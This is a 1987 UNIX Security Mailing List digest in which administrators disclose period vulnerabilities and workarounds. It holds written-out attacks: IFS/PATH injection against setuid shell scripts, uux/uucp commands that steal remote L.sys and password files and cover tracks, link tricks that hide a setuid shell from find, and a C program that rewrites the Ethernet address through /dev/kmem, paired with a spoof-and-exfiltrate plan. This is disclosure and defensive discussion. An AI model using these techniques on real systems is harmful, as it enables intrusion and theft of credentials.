Subject: # 29 - Security Mailing List

-------

Topics:
	Admin and new people on the list
	/bin/sh scripts
	login shell scripts and SysV
	crypt(3) - cracked?
	4.2BSD uusend bug
	Hiding Things from /bin/find
	uusend
	Fun with ethernet...
	Coming in mod.sources
	Re:  Security Mailing List, # 25
	Re: Security Mailing List, # 25
	public key encryptions NOT broken
	Re:  Unix Security List application acknowledgement
	TCP/IP and F-keys
	Books
	Re: Security Mailing List, # 23 [repost] 

----------------------------------------------------------------------------

Editor's corner.

I've been waiting for the driftwood from the old lists to wash ashore;
I think the current list members are now mostly out there and receiving
the list.


Newcomers to the list since last issue:
	(none)

----------------------------------------------------------------------------

Date: Mon, 9 Mar 87 15:28:41 PST
From: chongo@amdahl.UUCP (Landon Curt Noll)
Subject: /bin/sh scripts

One method to attacking a shell script is by playing with the IFS
environment variable.  For folks who do not know about $IFS, it
is used by /bin/sh (and /bin/ksh) to hold field (word) separators.
By default, IFS=<space><tab>.

Let us say someone has the shell script:

	: shell scripts are not secure even when you set $PATH
	PATH=/bin:/usr/bin
	echo curds and whey

One can execute it via:

	IFS="P<space><tab>" PATH=. shell_script

Note that the 'P' of PATH is treated as if it were a space!  This the line
becomes: ATH=/bin:/usr/bin allowing a path of '.' to be imported.  Even
if someone were to do:

	IFS="<tab><space>"   # stop this IFS stuff right away
	: shell scripts can not even set IFS in a secure way
	echo yummo

One can execute it via:

	IFS="IP<tab><space:e" PATH="." shell_script

Note that the 'I' in IFS gets ignored before the script has a chance to
set it correctly!  The 'P' in IFS will enable the $PATH of '.' to be
imported.  Note that the ':e' in IFS turns the second line into:

	<delim> <delim> sh <delim> ll <delim> scripts ...

If I place the Trojan Horse 'sh' in the directory '.', I have got them!

Woe to the one who makes a shell script setuid/setgid!

---

Suggested work-a-round:

A:	Never trust a shell script to be secure.

B:	Write a simple program that controls which environment variables
	get passwd to the shell script.  That is, it controls vars such as
	PATH, IFS, SHACCT, HOME, SHELL, USER, ...  Make this program setuid 
	to user 'foobie' and place the shell script in a SECURE directory
	that is ONLY accessible by the user 'foobie'.

chongo <hack-hack> /\__/\


----------------------------------------------------------------------------

Date: Mon, 9 Mar 87 15:41:32 PST
From: chongo@amdahl.UUCP (Landon Curt Noll)
Subject: login shell scripts and SysV

A large number of System V systems have the following security problem in
relation to the use of shell scripts as login shells.  Sys V allows
one to set environment variables in the login line:

	login: chongo TERM=cit50+ CURDS=whey

One can exploit the shell script problem with $IFS (see my previous article
on this matter) on the login line:

	login: script IFS=P<tab><space>I

where user 'script' has a login shell that is a /bin/sh shell script.
Most every Sys V does not allow PATH to be set at login time, but
by adding many characters to IFS, something is bound to fall out. 

chongo <munch-hack> /\o=/\


----------------------------------------------------------------------------

Date: Mon, 9 Mar 87 18:43:24 est
From: seismo!gatech!hubcap!wstef (W. Gregg Stefancik)
Subject: crypt(3) - cracked?

	I remember hearing at either USENIX or UNIFOURM that programs exist
which unencrypt passwords encrypted by crypt(3).  Is this true or merely a
rumor?

Gregg Stefancik
Clemson University
gatech!hubcap!wstef


----------------------------------------------------------------------------

Date: Mon, 9 Mar 87 20:16:44 pst
From: joe@auspyr.uucp (Joe Angelo)
Subject: 4.2BSD uusend bug


I have only seen one mention of this bug in the Security-Mail-List
archives and have reported it with bugs@ucbvax and a number of major
USENET site adminstrators.  I'd like to ``re-open'' the issue to
bring it back into the spot light.  ... I first noticed the problem
about three years ago; give or take.


Problem:
	on 4.2BSD, Ultrix, and other Berkely-style Unix's, /usr/bin/uusend
	should not exist.  Reasons:
		1) /usr/bin/uusend is mode 6755, owner uucp, group daemon
		on UCB distribution tapes.
		2) /usr/bin/uusend does not adequately check the USERFILE
		file nor file permissions.

Effects:
	/usr/bin/uusend will allow either the transmission of or a local
	copy of UUCP owned files or other files; such as /usr/lib/uucp/L.sys
	or /etc/passwd.

Repeated-by:
	If uusend is mode 6755 or 4755 and owned by UUCP, then local
	users can issue the command:

		uusend -m 666 /usr/lib/uucp/L.sys /usr/tmp/public

	If uusend/ruusend is an executable command in L.cmds file 
	(regardless of weather or not it is set[ug]id), then remote
	user can:

		#queue remote command to get L.sys file
		uux target!uusend -m 666 /usr/lib/uucp/L.sys /tmp/public
		#local sleep to allow remote execution of above
		#now call back and get L.sys file
		uucp target!/tmp/public local!/tmp/public
		#erase our tracks -- tip toe threw the tulips with me
		uucp local!/tmp/junkfile target!/tmp/public

		(above also works with /etc/passwd and any other uucp-readable
		file -- but who wants the entire network to read them!?!!$!@&)

Everyone knows what the implications are if a major node's L.sys file
goes out -- As they say, "All I need is a MicroVAX and /bin/hostname".
Please don't think I'm bragging, but to help demonstrate the problem, 
I will say that I have personally obtained the L.sys/L.cmds/L.dialcodes/
L.devices/password/etc files for many major nodes (yes, I contacted the
administrators!) via the above method. Since there also exist "phone-phreaks"
out thar, some sites even place their watts/sprint numbers in the L.dialcodes
file. Yuk.

Testing this isn't really fun and finding all the nodes that allow this
is a major task. I do have a rather large list of sites that aren't
protected from the above and *MAY* once again mention the problem to
them -- but last time around, of the 210 messages I mailed out, only
3, yes, three, administrators said "thanx!"; and I know how to send
mail! Sigh.  Come on guys, get serious!  I don't want MY system security
compromised because we have a NEEDED mail connection!

Recommended-fixes:
	Trash uusend or make it setuid/setgid to some DEAD account and
	protect the /usr/lib/uucp files. (But your password file may still
	go out unless you just remove it all together -- mode 0000 should do)
	Anyways, uusend is SUPPOSED to be used for multi-node copies;
	but I've never ONCE seen it do that nor have I never really 
	seen a remote-execution-request for uusend. So why is it there!??!

--
"No matter      Joe Angelo, Sr. Sys. Engineer @ Austec, Inc., San Jose, CA.
where you go,   ARPA: aussjo!joe@lll-tis-b.arpa       PHONE: [408] 279-5533
there you       UUCP: {sdencore,necntc,cbosgd,amdahl,ptsfa,dana}!aussjo!joe
are ..."        UUCP: {styx,imagen,dlb,gould,sci,altnet}!auspyr!joe



----------------------------------------------------------------------------

Date: Mon, 9 Mar 87 20:26:09 pst
From: joe@auspyr.uucp (Joe Angelo)
Subject: Hiding Things from /bin/find


I have found a very easy way to hide things from cron-/bin/find daemons.
I'm not sure what systems this problem exists on, I think it's on all of them...

But linking "somefile" to "." or ".." causes /bin/find to bomb out in an
infinite search loop -- or core dump; thus, rendering security-searchers
useless.

Repeated-by:

	/etc/link file .
	/etc/link filedotdot ..
	find . -print

Completely hidden and hideous; ./setuidshell can go here.
In the worse case, some version of /etc/link allow garbage file names
to be used. So, "/etc/link .^A^B^C ." really isn't easy to spot.

Perhaps I'll compile a list of OS's where this exists.
Regardless of weather or not /etc/link is mode 755, the link() system
call is the real source of the problem in that it allows this to happen;
only mkdir() should really do this. ... but then again link() has come in
handy when repairing broken directories.  Who is to say what the
trade-offs are?!??

--
"No matter      Joe Angelo, Sr. Sys. Engineer @ Austec, Inc., San Jose, CA.
where you go,   ARPA: aussjo!joe@lll-tis-b.arpa       PHONE: [408] 279-5533
there you       UUCP: {sdencore,necntc,cbosgd,amdahl,ptsfa,dana}!aussjo!joe
are ..."        UUCP: {styx,imagen,dlb,gould,sci,altnet}!auspyr!joe



----------------------------------------------------------------------------

Date: Tue, 10 Mar 87 07:28:08 mst
From: aburt (Andrew Burt)
Subject: uusend

I once saw uusend suid root.  Needless to say it was easy to add to the
password file and become root oneself.

But why make uusend suid anything?  Admittedly nobody used it on isis
when I had it allowed in L.cmds, but it is not suid on isis and I never
saw any problems with that.  Nor did I change it from the distribution
tape, so I imagine all Pyramids have uusend non-suid.



----------------------------------------------------------------------------

Date: Wed, 11 Mar 87 18:51:56 MST
From: seismo!hc.dspo.gov!hi!josh (Josh Siegel)
Posted-Date: Wed, 11 Mar 87 18:51:56 MST
Subject: Fun with ethernet...


One of the questions we were asking ourselves here at the
University of New Mexico is how safe are we from other
roots.  With the rash of workstations,  almost anybody can
get root on a machine.  How does this effect the rest us
who have to deal with operating systems that must be keeped
up and running or little men with large guns come and start
shooting at our feet (:-)?

The following is a program that does the following.  It
does a dive into kmem and writes over the systems 
impression of it's own hardware ethernet number.  This
means the following:

	1)  I can make my machine be any machine on the
		ethernet.

	2)  I can send out ARP packets and change the
		routing tables on other peoples machines.

	3)  If I bring down a machine,  I can replace the
		machine before he am cleared from the ARP tables and
	    	not be forced to deal with changing host tables.

Implications?

	Machine A' has final exam.  Machine A' only trusts
	Machine B'.  User C has root on Machine C'

	1) Send ARP table entries to machine B' with
	   all of the machines at address 9:9:9:9:9:9

	2) Change hardware address on machine C' to B'

	3) rlogin to choice account.

	4) FTP files out

	5) Change the Hardware address back

	6) Change the ARP tables back on machine B'

Do this late at night.  You can make the accounting say
anything you wish.  Sleep well...(Hay! If I had done this,
would I be doing so well in my classes??? :-)

			--Josh Siegel

P.S.  While the program currently is only configured for SUN 3.2,
	we have used the same effect on a Microvax, IBM PC,
	and several other little toys we have.

----
/* The following little program is useful for changing your machines
   impression of it's own ethernet number. */


/* The offsets are how many bytes I wish to offset into the ethernet
   structure.  We figured out the 144 figure by dumping the section
   of memory and looking at it.  We don't have source for Suns
   so this was the only way.
*/

#define SUN32 144

#define OFFSET SUN32

#include <stdio.h>
#include <sys/file.h>
#include <nlist.h>
#include <sys/types.h>

/* Things we'll need out of the system name list */

struct nlist    nl[] = {
#define	X_ETHER		0
			{"_ie_softc"},
			{NULL}
};

char           *Kbin = "/vmunix";	/* Sys name list */
char           *Kmemfile = "/dev/kmem";	/* V to phys mem device */

int             Kmem;		/* Fildes for /dev/Kmem */

unsigned char   iebuff[6]; /* buffer containing machine ethernet id */
unsigned int    patch[6]; /* storage area for scanf to store its results */

main()
{
	char            buff[255]; 

	if ((Kmem = open(Kmemfile, O_RDWR)) < 0) {
		fprintf(stderr, "Cannot open %s\n", Kmemfile);
		fprintf(stderr, "You must be root to do this command. \n");
		exit(1);
	}

	nlist(Kbin, nl); /* Get the symbols in nl from the kernel */

	if (nl[0].n_value == 0) {
		fprintf(stderr, "Cannot get name list from %s\n", Kbin);
		exit(1);
	}


	if (kread(iebuff, 6, /* Read the hardware address */
		  (off_t) nl[X_ETHER].n_value + OFFSET) < 0) {	/* Get addr, proc tab */
		perror("ether");
		exit(1);
	}

	printf("I am = %x:%x:%x:%x:%x:%x\n", iebuff[0], iebuff[1], iebuff[2], iebuff[3], iebuff[4], iebuff[5]);

	printf("Please type in the address with spaces instead of :'s\n> ");
	gets(buff);

/* Let them type in the address they wish to be */

looper:
	if (sscanf(buff, "%x %x %x %x %x %x", &patch[0], &patch[1], &patch[2], &patch[3], &patch[4], &patch[5]) != 6) {
		printf("I am sorry... But I did not get all of that..\n");
		goto looper;
	}
	iebuff[0] = patch[0]; /* convert from integers to characters */
	iebuff[1] = patch[1]; 
	iebuff[2] = patch[2];
	iebuff[3] = patch[3];
	iebuff[4] = patch[4];
	iebuff[5] = patch[5];

	printf("I will be = %x:%x:%x:%x:%x:%x\n", iebuff[0], iebuff[1], iebuff[2], iebuff[3], iebuff[4], iebuff[5]); /* Friendly message */


/* WARNING MESSAGE!!! Why do I do this? */


	printf("Warning:\n");
	printf("  This program will crash ANY MACHINE that counts on the\n");
	printf("network working correctly.  In other words,  if you use\n");
	printf("NFS or RFS or have a Network disk... DONT DO THIS!\n\n");
	printf("Are you sure you wish to do this? (y/n) :");
	gets(buff);
	if (buff[0] != 'y')
		exit(0);

	if (kwrite(iebuff, 6, /* Write the stuff out! This is it boys */
		   (off_t) nl[X_ETHER].n_value + SUN32) < 0) {	/* Get addr, proc tab */
		/* If you get this message... SOMETHINGS WRONG!!! */
		printf("Could not write the kernel! Giggle! Giggle!\n");
		exit(1);
	}
}

/* Read a range of memory from the kernel */

kread(buf, nbytes, addr)
	char           *buf;
	int             nbytes;
	off_t           addr;
{
	extern int      Kmem;

	if (lseek(Kmem, (long) addr, 0) == -1)
		return (-1);
	return (read(Kmem, buf, nbytes));
}

/* Write it back out */

kwrite(buf, nbytes, addr)
	char           *buf;
	int             nbytes;
	off_t           addr;
{
	extern int      Kmem;

	if (lseek(Kmem, (long) addr, 0) == -1)
		return (-1);
	return (write(Kmem, buf, nbytes));
}

---



----------------------------------------------------------------------------

Date: Wed, 11 Mar 87 15:19:51 est
From: rs@mirror.TMC.COM (Rich Salz)
Subject: Coming in mod.sources

In two or three weeks I will be posting Bob Baldwin's
"crypt-breaker's workbench."

This is an interactive, full-screen program that makes it
*very* easy to decrypt text that has been encrypted
with the Unix crypt command, or other methods.  I will
also be posting a public-domain version of DES.

A careful reading of the relevant relevant law (thanks to
references provided by John Gilmore, hoptoad!gnu) leads me
to believe that it is legal for me to do this.

	/rich $alz


----------------------------------------------------------------------------

Date: Wed, 11 Mar 87 10:28:02 pst
From: Russell Brand <seismo!lll-crg!brand>
Subject: Re:  Security Mailing List, # 25

did you get my set of notes asking if  anyone wanted a copy of my
COPCOM notes?

[If anyone is interested...]


----------------------------------------------------------------------------

From: sdcsvax!ics.UCSD.EDU!wallen (Mark Wallen)
Date: 11 March 1987 2100-PST (Wednesday)
Subject: Re: Security Mailing List, # 25

Hi,

[I'm a member of "netsecurity" at sdcsvax.ucsd.edu]

I have a question for the list members: I recently read
(in unix-wizards?, sun-spots?) that it was easy
to get access to any NFS exported system if you
had root privileges on a system on the net.  Since
I administer a 4.3+NFS vax and several suns, I'm
curious to know how vulnerable we are on the
general campus net.

Thanks

Mark Wallen

Institute for Cognitive Science
UC San Diego

wallen@sdcvax.ucsd.edu
wallen@nprdc.arpa



----------------------------------------------------------------------------

Date: Thu, 12 Mar 87 16:59:20 mst
From: devine@vianet.uucp
Subject: public key encryptions NOT broken


Lyle McElhaney wrote: (dated Wed Jun 25 16:01:32 MDT 1986)
> Subject: public key encryptions broken

> Evi Nemeth, a professor at Colorado University, co-hosted a tutorial at
> the Atlanta USENIX conference concerning the practical aspects of network
> maintenence.  She mentioned in an aside that she had broken the common
> public-key method used to distribute keys for various encryption schemes.
> It might be of interest to the list that the public-key method based on a
> key size of 127 (128?) bits has indeed been broken, at the cost of several
> weekends of time on several (10?) Denelcor HEP 1000 machines.
> But I'm no expert; maybe Evi would care to comment on methodology.

  I've just joined this mailing list so my reply may be repeating what
Evi Nemeth has already said.  If so, sorry.

  The above information is *close* to being right.  Let me present the
facts.  First, key exchanges are never used for public key systems.  There
is no need to, because every process/user already has the public key
easily available.  Key exchanges are only used in single-key systems like
DES.  The title of the paper "Will Public Key Cryptosystems Live up to
Their Expectations" is somewhat misleading because it does not directly talk
about public keys, it does suggest that exponentionation used in PKS's
may not be secure even with very large numbers.

  What Evi and her co-workers did was derive a collection of equations that
can be used to "break" discrete exponentiation key exchanges.  What are
discrete exponentiation key exchanges?  If two users want to exchange keys,
it was previously thought that a computationally secure way to exchange 
keys was for user A to send x^a to B and for user B to send x^b to A.
Both users would then calculate a new value x^(ab) and use that value as
the key (or some bits out of it) to encrypt subsequent messages.

  Previously, it was thought that the only way to get encryption key was to
take the log.  But logs aren't continuous.  The Denelcors were used to
compute the logs of lots of values.  They used the computed logs to make
a system of linear equations.  When that was all done, they could easily
find out the users' keys.

  The published paper is "Will Public Key Cryptosystems Live up to Their
Expectations" and by Ron Mullin, Evi Nemeth, and Neal Weidenhofer.  It
appeared in the Proceedings of the 1984 International Conference on
Parallel Processing.

Bob Devine



----------------------------------------------------------------------------

Date: Thu, 12 Mar 87 03:13:44 EST
From: der Mouse <harvard!larry.ee.mcgill!mouse>
Subject: Re:  Unix Security List application acknowledgement

By the way, I don't know whether it's been mentioned, but vanilla 4.2
systems (including <=3.0 SunOS) allow chsh to change to a shell
containing newlines and colons.  I'm sure I don't need to elaborate
further...

					der Mouse

Smart mailers: mouse@mcgill-vision.uucp
USA: {ihnp4,decvax,akgua,utzoo,etc}!utcsri!musocs!mcgill-vision!mouse
     think!mosart!mcgill-vision!mouse
ARPAnet: think!mosart!mcgill-vision!mouse@harvard.harvard.edu


----------------------------------------------------------------------------

Posted-Date: Thu, 12 Mar 87 19:29:40 cst
Date: Thu, 12 Mar 87 19:29:40 cst
From: ut-sally!ut-ngp!melpad!paddock (pri=-5 Steve Paddock)
Subject: TCP/IP and F-keys

Thank you for restarting this mailing list.  I try hard to
keep current on security issues and be aware holes in our system,
In a spirit of trying to add new blood to the list, here are a couple of
small items.  I frankly hope I never have the opportunity to relate
the circumstances of a serious breach...

It appears that the AT&T branded TCP/IP networking product for the
3B2, System V release 2.0.4, running over 3B-Net, by default enables
unpassworded rlogin from any machine in the network to any other
machine.  My recollection is that this feature is enabled by
default, and includes root.  In essence, the networked group of 
machines becomes one machine for security purposes.  

I don't have enough information at hand to suggest how to configure
the product to avoid this but could provide it if requested, and 
realistically, a sophisticated user, particularly from a 
BSD background may anticipate the problem, but it is one to 
be aware of.  Sure did catch some fairly sharp administrators
off guard.  

Even now, the product has a hole as follows.  Under the 2.0.4 release
on 3B2's direct login as root is not allowed except at the system 
console.  All other ports must get root permissions via su(1).
This in turn generates a log entry in /usr/adm/sulog.  The rlogin 
provided with the TCP/IP product allows direct rlogin as root, even
when the no password problem is configured out, thus leaving
no record in the sulog.  I have in fact used rlogin hostname -l root
on machine hostname to become root.  No trail in sulog.  Does 
the TCP/IP system keep a log I am overlooking?  

On a lighter note, one of the biggest security holes I have recently seen
is the availability of programmable function keys.  If I were trying to
find a way into a system I would walk from terminal to terminal 
and press F1 for login and F2 for password.  I'll wager I'd be in
by the tenth terminal, and probably sooner.  Again, the point is
that physical security can be as important as software security.


Steve Paddock 		+1 512 346 6121
Gibson, Melvin & Paddock, CPA's, 9130 Jollyville, Suite 310, Austin, TX 78759
{ihnp4,allegra,ut-sally}!ut-ngp!melpad!paddock


----------------------------------------------------------------------------

Date:     Fri, 13 Mar 87 13:23:26 CST
From: Al Gaspar <seismo!ALMSA-1.ARPA!gaspar>
Subject:  Books

I have been reading Wood and Kochan's Unix System Security.  Can anyone 
recommend any other books on UNIX security.

Thanks--

Al
-- 
Al Gaspar	<gaspar@almsa-1.arpa>
USAMC ALMSA, ATTN:  AMXAL-OW, Box 1578, St. Louis, MO  63188-1578
COMMERCIAL:  (314) 263-5118	AUTOVON:  693-5118
seismo!gaspar@almsa-1.arpa


----------------------------------------------------------------------------

From: hplabs!trwrb!ljp (Laura J. Pearlman)
Subject: Re: Security Mailing List, # 23 [repost] 
In-Reply-To: Your message of Wed, 11 Mar 87 08:10:13 MST.
             <8703111510.AA14790@isis.cs.du.edu> 
Date: Fri, 13 Mar 87 10:59:58 PST


If you get this before you send out the issue 24 repost, you might
want to add a postscript to this message:

>   13-May-86 ljp@trwrb        Pyramid security problems -- at(1) and the att universe

In version 3.1, Pyramid fixed this problem by changing at(1) so that
the script files are created with the setuid and setgid bits set (but
without execute permissions for anyone), and changing atrun to run
only scripts whose setuid and setgid bits are set.

		-- Laura


----------------------------------------------------------------------------

                        The UNIX Security Mailing List

                 Ignore the headers on this list and mail to:
                  ...!hao!isis!security (mail for the list).
                  ...!hao!isis!sec-request (administrativia).